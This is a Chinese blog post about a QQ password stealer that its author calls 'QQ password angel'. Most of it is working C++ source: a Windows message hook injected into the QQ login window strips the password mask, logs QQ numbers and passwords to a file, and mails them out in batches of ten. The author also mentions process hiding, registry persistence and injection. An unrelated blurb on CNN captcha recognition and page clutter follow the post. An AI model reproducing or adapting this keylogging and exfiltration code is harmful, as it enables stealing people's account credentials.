QQ密码天使v1.0开发小记

  

    首行申明一下,写这个程序完全是一时的兴趣,是自己一个阶段学习的总结而已!程序没有发表,毕竟这个程序多多少少有点害人!L只所以叫“密码天使”,嘻嘻,形象撒!让你意想不到会收到这么多ID、密码,自然有点天使的成份了!J这个程序我是很久以前完成的,我没有写文档的经验,漏洞难免,以后加强嘻嘻~~~~~   
       程序运行界面如下:

                    

              图 一                                                  图 二



    本程序具有进程伪隐藏(1.1版可以真隐藏),热键呼出,邮件发送等功能!

    程序共有二个部分,ExeDll,有了Dll 免不了要用到钩子,由于QQ版本不断提高,所以找QQ窗口要多方面判断!不过对不同的QQ版本有不同的要求,象我下面的判断就仅对有“清除 ...“这种特征的QQ版本有效!(在此感谢titilima的帮助)!当然程序运行后是驻留在内存中的, 我用Timer事件监视QQ窗口!程序部分如下:

 HWND g_hQQ; // QQ窗口句柄

void CGetQQWordDlg::OnTimer(UINT nIDEvent)

{

      if(!IsWindow(g_hQQ))

       {

             HWND hSend; // “登陆子窗口句柄

             HWND hNext; // “下一步子窗口句柄

             g_hQQ = NULL;

             m_hook.StartHook(NULL);

             do

               {

                     g_hQQ = FindWindowEx(NULL,  g_hQQ,  "#32770",  NULL);     

                      hSend = FindWindowEx(g_hQQ, NULL,  "Button",  "清除 ...");

                      hNext = FindWindowEx(g_hQQ, NULL, "Button", "下一步(&N) >");

               }       

              while(g_hQQ != NULL && hSend == NULL && hNext == NULL);

              if (g_hQQ != NULL )  // 发现了QQ窗口

              {

                     m_hook.StartHook(g_hQQ);  // 设置钩子

               }

         }       

}

    设好钩子之后,随程序进入Dll看看,有什么好看的嘛(你不去怎么会知道呢?)
 各路看官请注意呀!我将设置钩子和关闭钩子作了一个小包装CGetQQHook!面向对象编程这点就是好,让你整体来分析!

 BOOL CGetQQHook::StartHook(HWND hQQ)

{

    if (hQQ != NULL)

     {

          shQQ = hQQ; // 改变共享段中shQQ的值

          DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);// 得到QQ所在的线程ID

          hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc,  glhInstance,  dwThreadID);//

          if (hProc)

               return TRUE;

         }

         else

         {

                  StopHook();

         }

         return FALSE;

}

    我用的钩子是WH_CALLWNDPROC,操作系统将消息发送到进程窗口函数之前,消息要先经过钩子过涉滤一下,判断是不是按键消息,如果是,则枚举当前主窗口,找出具有密码和用户特性的子窗口。(找按键ID时动用了spy++)记录下来!OK!是不觉得大功告成了一大半!J

HWND hwd = NULL;// 存临时量

LRESULT WINAPI CallWndProc(int nCode,WPARAM wParam,LPARAM lParam)

{

       if (nCode == HC_ACTION)

       {                

            CWPSTRUCT *p = (CWPSTRUCT*)lParam;

            HWND hTargetHwnd = shQQ; // 中转句柄
            if (p->message == WM_COMMAND )// 捕获命令

            {

                if ((LOWORD(p->wParam) == 1) || (LOWORD(p->wParam) == 0x00003024))
                  {

                      if (hwd == NULL)

                        {

                               hwd = shQQ;

                               ::EnumChildWindows(hTargetHwnd, EnumWndProc, 0);

                        }

                       if (hwd == shQQ) // 如果是同一窗口

                                  return CallNextHookEx(hProc,nCode,wParam,lParam);                             

                 }

           }
      }

     return CallNextHookEx(hProc,nCode,wParam,lParam);

}

    在枚举窗口的时候,如果是密码框口,先去掉其密码属性,然后取内容(不然在NT系统下就有麻烦),还有一个很重要的问题,由于发送功能动用了类库,在记录密码到10个之后,调用发送函数会有停滞现象,所以开启了一个线程,减缓这一现象!

  BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)

{

         char sWindowClass[256];

         CString strWindowClass;

         CString strWindowName;

         ::GetClassName(hwnd, sWindowClass, 256);

         strWindowClass.ReleaseBuffer();

         strWindowClass = sWindowClass;         

         ofstream fout; 

         char cPath[512];

         ::GetCurrentDirectory(512, cPath);

         strcat(cPath,  _T("//kk.txt"));// 切记,当前的目录是QQ所在的目录

         if (strWindowClass == _T("Edit"))

         {

                   for (int i = 0; i < 10; i++)

                   {

                            strWindowName = sWindowName[i];

                            if (strWindowName.GetLength() == 0)

                                     break;                         

                   }

                   if (i < 10)// 0i 的字符数组中已存有数据

                   {

                            fout.open(cPath, ios::app);

                            DWORD style = GetWindowLong(hwnd, GWL_STYLE);

                            if (style & ES_PASSWORD )

                            {

                                     long nType;   

                                     nType = SendMessage(hwnd, EM_GETPASSWORDCHAR, 0, 0);
                                     PostMessage( hwnd, EM_SETPASSWORDCHAR, 0, 0);

                                     Sleep (100);//停止100毫秒

                                     SendMessage(hwnd, WM_GETTEXT, 256, (LPARAM)sWindowName[i]);

                                     PostMessage(hwnd, EM_SETPASSWORDCHAR, nType, 0);

                                     fout << "密码:";       

                                     fout << sWindowName[i] << "/n";

                            }

                            else

                            {

                                     if (((style & ES_READONLY) != ES_READONLY) && (style & WS_VISIBLE) )

                                     {                                            

                                          ::SendMessage(hwnd,WM_GETTEXT,256, (LPARAM)sWindowName[i]);

                                         fout << "QQ号码:";                                           

                                         fout << sWindowName[i] << "/t/t";                       

                                     }

                            }

                            fout.close();        

                   }

                   else

                   {

                          for (int k = 0; k < 10; k++)

                                strcpy(sTemp[k], sWindowName[k]);     

                          memset(sWindowName, 0, 10 * 256);

                          AfxBeginThread(SendMailUserIdPass, NULL, THREAD_PRIORITY_NORMAL);

                          ::EnumChildWindows(::GetParent(hwnd), EnumWndProc, 0);

                    }                   

         }

        return TRUE;        

}

  

// 全局线程函数

UINT SendMailUserIdPass(LPVOID pParam)

{

      SendmyQQInfo();         // 发送你取得的密码、ID

       return 0;

}  

 

   至此,程序的主要部分已完成!但是当你看我的源码时,你会发现,我在共享数据段里注释了好多,因为我写这个程序的时候在这个地方受到了一些挫折,如果有不太清楚共享数据的朋友,我建议你去看看titilima的大作《‘QQ尾巴病毒’核心技术的实现》,该文形象的说明了数据共享段的一些细节。http://home.nuc.edu.cn/~titilima/readarticle.php?id=23

   
后来在QQ密码天使V1.1版本中我用的是内存映射,因为我觉得多个DLLExe相互共享数据时,我感觉用内存映射传递结构体类型要清楚些!

#pragma data_seg("wenboly")

 HHOOK  hProc = NULL;     // 监视特定消息的钩子

 HWND shQQ = NULL;        // QQ句柄
 char sWindowName[10][256] = {0};                             

#pragma data_seg()

   放在共享段中的数据,是ExeDll共享的,对它的改变会影响到所有它出现的地方(有点象静态变量)

对于邮件发送部分,我引用的是别人的类库,我就不作说明,要是对STL开发有兴趣的,这个类库可是上好的资料!J

     另外程序还有对注册表的读、写操作,窗口启动的隐藏,窗口的热键,限于版面,我就不多赘述!另外在1.1版本中我用到了进程注入技术(不是远进程注入),Exe自生又自灭!

     错误难免,望高手止笑!
                                   ®Miniking

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
基于tensorflow2.x卷积神经网络字符型验证码识别 卷积神经网络(Convolutional Neural Networks, CNNs 或 ConvNets)是一类深度神经网络,特别擅长处理图像相关的机器学习和深度学习任务。它们的名称来源于网络中使用了一种叫做卷积的数学运算。以下是卷积神经网络的一些关键组件和特性: 卷积层(Convolutional Layer): 卷积层是CNN的核心组件。它们通过一组可学习的滤波器(或称为卷积核、卷积器)在输入图像(或上一层的输出特征图)上滑动来工作。 滤波器和图像之间的卷积操作生成输出特征图,该特征图反映了滤波器所捕捉的局部图像特性(如边缘、角点等)。 通过使用多个滤波器,卷积层可以提取输入图像中的多种特征。 激活函数(Activation Function): 在卷积操作之后,通常会应用一个激活函数(如ReLU、Sigmoid或tanh)来增加网络的非线性。 池化层(Pooling Layer): 池化层通常位于卷积层之后,用于降低特征图的维度(空间尺寸),减少计算量和参数数量,同时保持特征的空间层次结构。 常见的池化操作包括最大池化(Max Pooling)和平均池化(Average Pooling)。 全连接层(Fully Connected Layer): 在CNN的末端,通常会有几层全连接层(也称为密集层或线性层)。这些层中的每个神经元都与前一层的所有神经元连接。 全连接层通常用于对提取的特征进行分类或回归。 训练过程: CNN的训练过程与其他深度学习模型类似,通过反向传播算法和梯度下降(或其变种)来优化网络参数(如滤波器权重和偏置)。 训练数据通常被分为多个批次(mini-batches),并在每个批次上迭代更新网络参数。 应用: CNN在计算机视觉领域有着广泛的应用,包括图像分类、目标检测、图像分割、人脸识别等。 它们也已被扩展到处理其他类型的数据,如文本(通过卷积一维序列)和音频(通过卷积时间序列)。 随着深度学习技术的发展,卷积神经网络的结构和设计也在不断演变,出现了许多新的变体和改进,如残差网络(ResNet)、深度卷积生成对抗网络(DCGAN)等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值